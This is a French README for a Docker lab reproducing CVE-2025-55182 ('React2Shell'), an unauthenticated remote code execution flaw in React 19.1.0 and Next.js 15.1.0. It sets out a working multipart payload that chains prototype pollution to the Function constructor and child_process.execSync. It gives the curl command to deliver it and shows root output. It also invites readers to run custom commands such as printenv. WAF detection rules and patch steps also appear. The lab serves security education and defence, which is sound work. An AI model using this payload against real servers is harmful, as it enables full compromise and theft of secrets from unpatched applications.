Laboratoire de test basé sur Docker pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans React 19.1.0/Next.js 15.1.0. Inclut des scripts d'exploitation, des tests de contournement WAF avec NGINX/ModSecurity, et une comparaison de versions patchées pour l'éducation à la sécurité.
⚠️ Avertissement : Contient une vulnérabilité d'exécution de code à distance (RCE) fonctionnelle.
Environnement de test conteneurisé pour la vulnérabilité CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Score CVSS : 10.0 (CRITIQUE)
Impact : Exécution de code à distance (RCE)
Authentification requise : Aucune
Vecteur d'attaque : Réseau
$1:__proto__:then$B)child_process// Structure de la charge utile d'attaque
{
"then": "$1:__proto__:then", // Pollution de Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Déclenchement de la désérialisation Blob
"_response": {
"_prefix": "code_malveillant", // Code à exécuter
"_formData": {
"get": "$1:constructor:constructor" // Accès au constructeur de fonction
}
}
}
Windows (PowerShell) :
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Attendez que tous les conteneurs soient en état healthy (environ 1-2 minutes).
Windows (PowerShell) :
# Méthode 1 : Utiliser le script PowerShell (recommandé)
.\tests\exploit-working.ps1
# Méthode 2 : Exécution directe avec Node.js
node tests\exploit-working.js
### Étape 4 : Vérifier les résultats
Vous pouvez vérifier les résultats d'exécution des commandes dans les logs du serveur :
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecommandéWindows :
# Script PowerShell (recommandé)
.\tests\exploit-working.ps1
# Ou exécution directe avec Node.js
node tests\exploit-working.js
Contenu de l'exécution :
Commandes testées :
whoami - Utilisateur actuel (root)hostname - Nom d'hôte du conteneurpwd - Répertoire de travail (/app)id - Informations complètes sur l'utilisateuruname -a - Informations systèmenode --version - Version de Node.js# Créer le fichier de charge utile
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Envoyer l'attaque
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Vérifier l'exécution dans les logs
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Vous pouvez modifier le script d'attaque pour exécuter les commandes de votre choix :
// Dans le fichier exploit-working.js :
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Liste du répertoire de l\'application' },
{ name: 'env', cmd: 'printenv', desc: 'Affichage des variables d\'environnement' }
]
| Port | Service | Version React | Usage | Statut WAF |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnérable - Test CVE-2025-55182 | ❌ Non protégé |
| 3001 | patched-app | 19.1.2 | Sécurisé - Vérification du correctif | ✅ Patché |
| 8080 | nginx → vulnerable | 19.1.0 | Test WAF (NGINX) | ⚠️ Limité (pas d'inspection du corps) |
| 8081 | apache → vulnerable | 19.1.0 | Test WAF (ModSecurity) | ⚠️ Limité (réponse 405) |
| 8082 | nginx → patched | 19.1.2 | Test de double protection | ✅ Patché |
# Exécuter l'attaque fonctionnelle
node tests/exploit-working.js
# Résultat attendu : exécution de commande réussie
# Sortie : informations utilisateur, détails système, etc.
Windows (PowerShell) :
# Utiliser le script PowerShell
.\tests\exploit-working.ps1 -Port 3001
Résultat attendu : Échec de l'attaque (React 19.1.2 bloque l'attaque)
Windows (PowerShell) :
# Tenter l'attaque via le WAF NGINX
.\tests\exploit-working.ps1 -Port 8080
Résultat attendu : Bloqué par les règles WAF
Emplacement : nginx/nginx.conf
Modèles de détection :
__proto__, constructor:constructor$X:__proto__, référence $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorAction de blocage :
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Emplacement : apache/modsecurity-rules.conf
Plage d'ID de règles : 100001-100017
Règles principales :
__proto__# Test de blocage NGINX
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Réponse attendue : HTTP 403
# Test de blocage ModSecurity
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# Réponse attendue : HTTP 403
# Logs de sécurité NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log
# Logs d'audit Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
Important : La configuration WAF actuelle présente les limitations suivantes :
multipart/form-data et n'est donc pas détectéeNext-Action est nécessaire, et cet en-tête seul ne suffit pas à une protection complèteDéfense réelle contre l'attaque :
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Configuration de l'environnement Docker
├── run-tests.ps1 # Script d'exécution Windows
├── run-tests.sh # Script d'exécution Linux/Mac
│
├── vulnerable-app/ # Application version vulnérable
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # Mise en page de base
│ │ ├── page.js # Page principale
│ │ └── api/
│ │ └── health/ # Point de terminaison de vérification de santé
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # Application version corrigée
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # Scripts d'attaque
│ ├── exploit-working.js # Attaque RCE (Node.js)
│ ├── exploit-working.ps1 # Attaque RCE (PowerShell)
│ └── exploit-working.cmd # Attaque RCE (fichier batch)
│
├── nginx/ # Configuration WAF NGINX
│ ├── nginx.conf # Règles de blocage CVE-2025-55182
│ └── nginx-patched.conf # Configuration proxy
│
└── apache/ # Configuration Apache ModSecurity
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # Règles de blocage ModSecurity
Le script d'attaque affiche directement les résultats :
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# Surveillance des logs en temps réel
docker compose logs -f vulnerable-app
# Éléments à vérifier :
# [EXPLOIT] Executing: whoami
# [RESULT] root
# Vérifier si l'attaque a été exécutée
docker compose exec vulnerable-app ps aux | grep node
# Vérifier les modifications du système de fichiers (si des fichiers ont été écrits)
docker compose exec vulnerable-app ls -la /tmp
Mise à niveau de React - Installer la version 19.1.2 ou supérieure :
npm install react@^19.1.2 react-dom@^19.1.2
Mise à niveau de Next.js - Installer la version 15.1.9 ou supérieure :
npm install next@^15.1.9
Reconstruction et redéploiement :
npm run build
# Déployer en environnement de production
Windows (PowerShell) :
# Tester avec la version patchée
.\tests\exploit-working.ps1 -Port 3001
# Ou
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac :
# Tester avec la version patchée
TARGET_PORT=3001 node tests/exploit-working.js
Exemple de résultat : ℹ️ Exploitation failed
# Démarrer
.\run-tests.ps1 start
# Vérifier l'état
.\run-tests.ps1 status
# Voir les logs
.\run-tests.ps1 logs
# Arrêter
.\run-tests.ps1 stop
# Réinitialiser (supprimer tous les conteneurs et volumes)
.\run-tests.ps1 clean
Windows (PowerShell) :
# 1. Vérifier les versions
docker compose exec vulnerable-app npm list react next
# Doit afficher :
# [email protected]
# [email protected]
# 2. Vérifier que le serveur répond
curl http://localhost:3000
# 3. Vérifier les logs Docker
docker compose logs vulnerable-app --tail=50
# 4. Redémarrer le conteneur
docker compose restart vulnerable-app
Windows (PowerShell) :
# Filtrer les logs dans PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
Symptôme d'erreur :
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
Solution :
docker psSymptôme d'erreur :
Impossible de charger le fichier... car l'exécution de scripts est désactivée sur ce système.
Solution :
# Appliquer uniquement à la session en cours
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Ou exécuter directement
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Vérifier que Docker est en cours d'exécution et que vous avez les permissions nécessaires :
Toutes les plateformes :
docker compose ps
Si une autre application utilise le port :
Windows (PowerShell) :
# Vérifier le processus utilisant le port
netstat -ano | findstr :3000
# Terminer le processus (après avoir identifié le PID)
taskkill /PID <PID> /F
Toutes les plateformes (modification de docker-compose.yml) :
# Modifier le port pour éviter le conflit
services:
vulnerable-app:
ports:
- "3010:3000" # 3000 → 3010
Toutes les plateformes :
# Tester la configuration NGINX
docker compose exec nginx nginx -t
# Tester la configuration Apache
docker compose exec apache apachectl configtest
# Vérifier les logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
Ce projet est fourni à des fins éducatives et de recherche en sécurité.
Restrictions d'utilisation :